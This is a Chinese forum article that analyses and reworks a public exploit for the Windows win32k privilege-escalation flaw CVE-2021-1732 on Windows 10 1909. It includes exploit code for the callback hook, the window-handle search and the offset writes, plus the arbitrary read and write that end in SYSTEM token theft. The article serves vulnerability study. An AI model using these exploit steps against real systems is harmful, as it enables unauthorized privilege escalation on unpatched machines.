CVE-2021-1732 EXP Win10_1909 KaLendsi 的EXP编写与分析
本文为看雪论坛优秀文章
看雪论坛作者ID:ExploitCN
一
简介
1.1 概述
目前,CVE-2021-1732,主要有两个版本:一个是Kernel Killer在Windows 10 Version 1809 for x64上的版本,另一个是KaLendsi在Windows 10 Version 1909 for x64上的版本。
本文的主要特点是:
1、 以动态调试为主,静态分析为辅;
2、 不再重复进行详细的理论介绍,只挑选EXP涉及的部分进行简单说明;
3、 本文介绍KaLendsi的1909版本;
4、 通过调试EXP代码分析漏洞原理;
5、 修改了原来版本的一些冗余代码,并增加了一些调试代码。
所以,阅读本文之前,一定要先阅读下面两个网址内容:
https://www.anquanke.com/post/id/241804#h3-12
https://bbs.pediy.com/thread-266362.htm
1.2 受影响版本
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
1.3 漏洞类型
二
POC分析
2.1 漏洞流程图
因此,该漏洞的实质就是,在创建一个带扩展内存的窗口时,内核中xxxClientAllocWindowClassExtraBytes的应用层回调对来自应用层返回的数据校验不严导致,通过hook xxxClientAllocWindowClassExtraBytes,并在hook函数中调用NtUserConsoleControl/NtCallbackReturn可以将目标窗口的poi(tagWND+0x28)+0x128位置设置为任意offset,从而导致越界写入。
HWND g_hWndMagic = CreateWindowExW(
0x08000000u,//dwExStyle = WS_EX_NOACTIVATE
(LPCWSTR)(unsigned __int16)g_lpWcxMagic,
L"somewnd",
0x20000000u,//dwStyle = WS_MINIMIZE
0,
0,
0,
0,
0,
CreateMenu(),
GetModuleHandleW(0),
0);
DWORD64 g_newxxxClientAllocWindowClassExtraBytes(DWORD64* a1)
{
DWORD64 dwTemp = *a1;
if (dwTemp == g_nRandom)
{
g_offset_0x1 = 1;
//从最小的地址暴力搜索
HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize);//找到的是magicClass的HWND
printf("MagciHwnd==%p\r\n", hwndMagic);
if (hwndMagic)
{
Int_3();
QWORD hwndMagicWNDk = (QWORD)g_pfnHmValidateHandle(hwndMagic, 1);
printf("MagciHwnd pExtraBytes Before NtUserConsoleControl == %x\r\n", *(DWORD*)(hwndMagicWNDk + 0x128));
g_pfnNtUserConsoleControl(6, &hwndMagic, 0x10);
printf("MagciHwnd pExtraBytes After NtUserConsoleControl == %x\r\n", *(DWORD*)(hwndMagicWNDk + 0x128));
QWORD qwRet = g_Thrdeskhead_cLockobj_Min;
g_pfnNtCallbackReturn(&qwRet, 24, 0);
}
}
DWORD64 dwTest = *((PULONG64) * (a1 - 11));
return g_oldxxxClientAllocWindowClassExtraBytes(a1);
}
HWND GuessHwnd(QWORD* pBaseAddress, DWORD dwRegionSize)
{
QWORD qwBaseAddressBak = *pBaseAddress;
QWORD qwBaseAddress = *pBaseAddress;
DWORD dwRegionSizeBak = dwRegionSize;
HWND hwndMagicWindow = nullptr;
do
{
while (*(WORD*)qwBaseAddress != g_nRandom & dwRegionSize > 0)
{
qwBaseAddress += 2;
dwRegionSize--;
}
//获取不到才会走下面的步骤
//(-50+6)*4=-2C*4=-B0 ,c8-b0=0x18,说明ptagWNDk的0x18偏移dwStyle是0x8000000
if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000)
{
qwBaseAddress = qwBaseAddress + 4;
QWORD qwSub = qwBaseAddressBak - qwBaseAddress;
dwRegionSize = dwRegionSizeBak + qwSub;
}
hwndMagicWindow = (HWND) * (DWORD*)(qwBaseAddress - 0xc8);//qwBaseAddress现在指向cbWndExtra,减去0xc8,刚好等于hwnd
if (hwndMagicWindow)
{
break;
}
} while (true);
return hwndMagicWindow;
}
DWORD dwRet = SetWindowLongW(g_hWndMagic, 0x128, g_Thrdeskhead_cLockobj_Min);
2.3 POC运行结果
三
EXP分析
3.1 tagWND结构体
2、对spMenu的结构体,根据KalenDashi的EXP的构造进行了重新分析。
下面列出tagWND结构体与漏洞相关的字段,(一个 “Tab 缩进 + 偏移量”表示一次父级的值加偏移后访存)。
ptagWND(user layer)
0x10 unknown
0x00 pTEB
0x220 pEPROCESS(of current process)
0x18 unknown
0x80 kernel desktop heap base
0x28 ptagWNDk(kernel layer)
0x00 hwnd
0x08 kernel desktop heap base offset
0x18 dwExStyle
0x1C dwStyle
0x58 Window Rect left
0x5C Window Rect top
0x98 spMenu(uninitialized)
0xC8 cbWndExtra
0xE8 dwExtraFlag (是寻址模式,还是offset模式)
0x128 pExtraBytes
0xA8 ref_g_pMem4(spMenu)(根据EXP代码分析)
0x00 hMenu
0x18 unknown0
0x100 unknown
0x00 pEPROCESS(of current process)
0x50 ptagWND
0x58 rgItems
0x00 unknown(for exploit)
0x98 ref_g_pMem3
0x00 ref_g_pMem1
0x28 ref_g_pMem2
0x2C cItems(for check)
0x40 unknown1
0x44 unknown2
0x58 ref_g_pMem5
0x00 DestAddr-0x40
3.2 动态分析
3.2.1 内存布局静态分析
1)第一种是kk的思路。申请50个窗口,然后释放其中的48个,最后再申请一个新窗口。要满足1个条件:窗口0的扩展内存地址要小于窗口1的地址,如果不满足,则重新申请,直到5次之后还不满足,则退出。新申请窗口的ptagWNDk地址会复用前面48个窗口的地址,所以可以根据前面48个窗口的ptagWNDk获取新窗口的地址。
2)第二种是KaLendsi的思路。申请10个窗口,然后释放其中的8个。剩余的2个比较ptagWNDk地址,大的为窗口Max,小的为窗口Min。新申请的为Magic窗口,它会占用之前释放窗口的内存。内存布局如下:
3.2.2 任意写动态调试
3.2.2.1 任意写第一步
在代码第366行断点,此时,窗口Min、窗口Max、窗口Magic的tagWNDk如下:
1)桌面堆的基址是:0x2416e8d0000。(反推计算)
2)hwnMagicWNDk,也就是窗口Magic的pExtraBytes是0xf550。
3)桌面堆基址+窗口Magic的偏移等于:0x2416e8d0000+0xf550 = 0x2416e8df550。
4)由上面图可知,firstEntryDesktop_Min,也就是窗口0的地址正好是0x241`6e8df550,意味着,现在窗口Magic的扩展内存指向了窗口Min,可以改变窗口Min的WND属性。
注意:这里的桌面堆基址只是表示应用层的基址是这个地址,并不是内核层的桌面堆基址,必须修改内核层数据,才能达到任意写的目的。
在g_newxxxClientAllocWindowClassExtraBytes时,EXP里面直接比较0x800000,是正确的,此时Magic窗口的内存布局如下:
3.2.2.2 第二步,让窗口Min的pExtraBytes指向自己的ptagWNDk
1)一个是cbWndExtra为0xFFFFFFFF,使得原来只能32字节的写范围,扩大到0xFFFFFFFF;
2)修改窗口Min的pExtraBytes指向自己;
1)由第一步可知,此时Magic窗口的pExtraBytes指向的是窗口Min的ptagWNDk,执行SetWindowLongW(g_hWndMagic, offset_0xc8, 0xFFFFFFF)后,窗口Min的cbWndExtra被修改;
2)执行SetWindowLongW(g_hWndMagic, offset_0x128, g_Thrdeskhead_cLockobj_Min)后,窗口Min的 pExtraBytes被修改成指向自己(堆基址+0xf550=0x241`6e8f550)。
3.2.2.3 第三步:通过窗口Min修改窗口Max的pExtraBytes:
SetWindowLongPtrA(hWndMin, Thrdeskhead_cLockboj_Max + offset_0x128 - g_Thrdeskhead_cLockobj_Min, qwMyTokenAddr)后,
窗口Max的pExtraBytes指向了当前进程的Token地址,再调用;
SetWindowLongPtrA(g_hWndMax, 0, dwSystemToken);
就把系统的Token赋值给了当前进程。
窗口Max处于直接寻址模式,它的pExtraBytes地址等于0xffffaa84`5da693e0,执行之后,可以看到,该地址的值确实和系统的Token值0xffff97831c00629f相等,提权目的已经达到。
但是有个问题,系统的Token和系统的Token地址是怎么得到的呢?这就涉及到另外一个问题,任意地址读了。
3.2.3 任意地址读
3.2.3.1 第一步:设置窗口Max的WS_CHILD属性
g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4);逆向代码如下:
SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ^ 0x4000000000000000);设置窗口Max包含WS_CHILD属性。
3.2.3.2 第二步:泄漏窗口Max的Menu
g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4)中,实际取的是最高位0x4C,所以0x4C&0xC0 = 0x40了。
4的二进制0100 ,C的二进制1100,所以实际是取的第3bit位,而不是整个数值。比如,是0x4C,第3bit位是1,其余是0,就是WS_WHILD,同样的,24c00000,第2bit位2,就是WS_MINIMIZE。
执行
SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min, g_qwrpdesk ^ 0x4000000000000000);
g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4);之后,窗口Max的内存如下图。
由图3.9可知,正如分析的那样,窗口Max的spMenu位置,已经被赋值成了g_pMem4的地址,且其dwStyle位置确实已经是0x4C。
图3.10展示了g_qwExpLoit的内存数据,这里的g_qwExpLoit就是tagWND结构体里面的ref_g_pMem4(spMenu),也就是Menu的数据。从图3.10可知,其内存布局和之前定义的tagWND结构体完全对应,更重要的是,注意左面的地址,已经是内核地址,展示出来的窗口Max的内存数据和图3.9是一样的,一个是0xfffffxxxxxxxx开始的内核地址,一个是0x00000xxxxxxx开始的应用层地址。
最后就是通过GetMenuBarInfo读取这里的内核数据,实现提权的。
3.2.3.3 任意读第三步:移除窗口Max的WS_CHILD属性
SetWindowLongPtrA(hWndMin, offset_0x18 + Thrdeskhead_cLockboj_Max -g_Thrdeskhead_cLockobj_Min, g_qwrpdesk);
1、ref_g_pMem1 = 0x88888888;
2、(QWORD*)(ref_g_pMem3 + 8) = 16;
可以删除。
四
提权复现
五
代码
看雪ID:ExploitCN
https://bbs.pediy.com/user-home-945611.htm
# 往期推荐
3.Windows PrintNightmare 漏洞复现分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!